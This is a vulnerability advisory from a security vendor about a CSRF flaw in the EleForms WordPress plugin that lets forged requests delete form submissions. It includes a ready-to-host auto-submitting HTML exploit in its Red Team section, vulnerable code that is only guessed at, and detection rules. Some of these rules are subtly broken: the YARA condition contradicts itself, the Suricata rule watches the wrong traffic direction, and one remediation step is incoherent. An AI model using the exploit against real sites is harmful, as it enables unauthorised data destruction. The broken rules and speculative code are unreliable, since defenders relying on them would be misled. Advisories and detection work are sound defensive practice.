CVE-2024-6628

Executive Summary

CVE-2024-6628 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the EleForms – All In One Form Integration including DB for Elementor WordPress plugin, up to and including version 2.9.9.9. The vulnerability exists due to missing or incorrect nonce validation when deleting form submissions. This allows an unauthenticated attacker to trick a site administrator into performing a forged request, resulting in the deletion of form submissions. The CVSS score is 4.3 (Medium), and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild. No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – The attacker must trick an administrator into clicking a link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Form submissions can be deleted.
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction and only allows deletion of form submissions, not data exfiltration or privilege escalation. However, it could be used to disrupt business operations or destroy evidence.

Deep Dive & Mechanics

The vulnerability resides in the EleForms plugin's form submission deletion functionality. WordPress plugins typically use a nonce (a one-time token) to verify that a request to delete a submission originates from the legitimate admin interface. In this case, the plugin fails to validate the nonce when processing the deletion request. This means an attacker can craft a malicious link or form that, when clicked by an authenticated administrator, will execute the deletion action without the admin's knowledge.

Attack Flow:

1. The attacker identifies a WordPress site using the vulnerable EleForms plugin.
2. The attacker crafts a malicious HTML page or email containing a link like: http://target-site.com/wp-admin/admin-ajax.php?action=eleforms_delete_submission&submission_id=123
3. The attacker tricks an authenticated administrator into clicking the link (e.g., via social engineering).
4. The admin's browser sends the request with their session cookies, and the plugin processes the deletion without checking the nonce.
5. The form submission is deleted.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.9.9.9): The plugin likely handles the deletion request in a function like eleforms_delete_submission() without calling check_ajax_referer() or wp_verify_nonce().

// Vulnerable: No nonce check
function eleforms_delete_submission() {
    $submission_id = intval($_POST['submission_id']);
    // Delete submission from database
    global $wpdb;
    $wpdb->delete($wpdb->prefix . 'eleforms_submissions', array('id' => $submission_id));
    wp_die();
}
add_action('wp_ajax_eleforms_delete_submission', 'eleforms_delete_submission');
add_action('wp_ajax_nopriv_eleforms_delete_submission', 'eleforms_delete_submission'); // Also accessible to unauthenticated users

Patched Code (Hypothetical): The fix would involve adding a nonce check before processing the deletion.

// Patched: Nonce verification added
function eleforms_delete_submission() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'eleforms_delete_submission')) {
        wp_die('Security check failed.');
    }
    $submission_id = intval($_POST['submission_id']);
    global $wpdb;
    $wpdb->delete($wpdb->prefix . 'eleforms_submissions', array('id' => $submission_id));
    wp_die();
}
add_action('wp_ajax_eleforms_delete_submission', 'eleforms_delete_submission');
// Remove the nopriv action to prevent unauthenticated access
// add_action('wp_ajax_nopriv_eleforms_delete_submission', 'eleforms_delete_submission');

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with EleForms plugin <= 2.9.9.9 installed and active.
• An authenticated administrator session.

Exploit Steps:

1. Identify the AJAX action for deletion (e.g., eleforms_delete_submission).
2. Craft a CSRF payload. Since no public exploit exists, a simple HTML form can be used:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="eleforms_delete_submission">
    <input type="hidden" name="submission_id" value="1">
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

3. Host the HTML file on an attacker-controlled server.
4. Send the link to the administrator (e.g., via email or social media).
5. When the admin clicks the link, the form submission with ID 1 is deleted.

Note: The attacker may need to enumerate submission IDs. This can be done by observing the admin interface or using other vulnerabilities.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with the action parameter set to eleforms_delete_submission.
• Look for requests without a valid _wpnonce parameter.
• Alert on multiple deletion requests in a short time frame.

Defense:

• Update the plugin to a patched version once available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a nonce for sensitive actions.
• Educate administrators about phishing attacks and CSRF risks.
• Use the WordPress check_ajax_referer() function in custom code.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=eleforms_delete_submission and no _wpnonce parameter.
  • Referer header pointing to an external domain (e.g., attacker-controlled site).
• File IOCs:
  • Modified or deleted entries in the wp_eleforms_submissions database table.
• Log IOCs:
  • WordPress debug log entries showing failed nonce checks (if logging is enabled).
  • Web server access logs showing repeated requests to admin-ajax.php with the same submission_id.

Detection Engineering

YARA Rule

rule Detect_EleForms_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against EleForms plugin"
        author = "Valters IT"
        date = "2024-07-15"
        cve = "CVE-2024-6628"
    strings:
        $ajax_action = "eleforms_delete_submission"
        $nonce_missing = "action=eleforms_delete_submission" nocase
    condition:
        $ajax_action and not $nonce_missing
}

Sigma Rule

title: EleForms CSRF Deletion Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts to delete form submissions via EleForms plugin
author: Valters IT
date: 2024/07/15
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=eleforms_delete_submission'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6628 EleForms CSRF Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=eleforms_delete_submission"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the EleForms plugin until a patch is available.
2. Implement a WAF rule to block requests to admin-ajax.php that contain action=eleforms_delete_submission without a valid nonce.
3. Review and delete any suspicious form submissions that may have been deleted.

Long-term Fix:

• The vendor must release a patched version that includes proper nonce validation. Until then, consider using an alternative form plugin.
• For developers: Always use check_ajax_referer() or wp_verify_nonce() for sensitive AJAX actions.

Workaround:

• Add the following code to the theme's functions.php to block unauthenticated deletion requests:

add_action('wp_ajax_nopriv_eleforms_delete_submission', function() {
    wp_die('Unauthorized.');
}, 1);

Valters IT – Securing your digital frontier.